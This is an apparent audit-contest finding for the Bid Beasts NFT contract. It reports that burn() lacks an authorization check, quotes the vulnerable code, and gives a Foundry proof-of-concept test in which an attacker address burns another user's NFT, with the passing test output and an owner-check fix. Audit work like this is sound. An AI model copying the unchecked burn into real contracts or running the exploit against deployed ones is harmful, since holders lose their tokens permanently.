Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can burn owner's NFT via BidBeasts_NFT_ERC721.sol::burn()

0xgo4ko

Root + Impact

Description

The BidBeasts_NFT_ERC721.sol::burn() lacks authorization checks, allowing anyone to burn the NFT of a specific owner.

function burn(uint256 _tokenId) public {
_burn(_tokenId); // @audit - no authorization check
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:

High

Impact:

High. Anyone can destroy a legitimate owner's NFT.

Proof of Concept

Add the following test to the BidBeastsMarketPlaceTests.sol and use the command bellow to run it:

forge test --match-test test_anyone_can_burn_nft
function test_everyone_can_burn_nft() public {
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
​
// check if nft was minted
assertEq(nft.balanceOf(SELLER), 1);
​
// attack
address attacker = address(0x52);
vm.prank(attacker);
nft.burn(0);
​
// check that SELLER has no more nfts
assertEq(nft.balanceOf(SELLER), 0);
}

Result:

[⠘] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_anyone_can_burn_nft() (gas: 72090)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.03ms (164.42µs CPU time)
​
Ran 1 test suite in 6.79ms (1.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Ensure that only the NFT's owner can burn it.

function burn(uint256 _tokenId) public {
+ require(msg.sender == ownerOf(_tokenId));
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.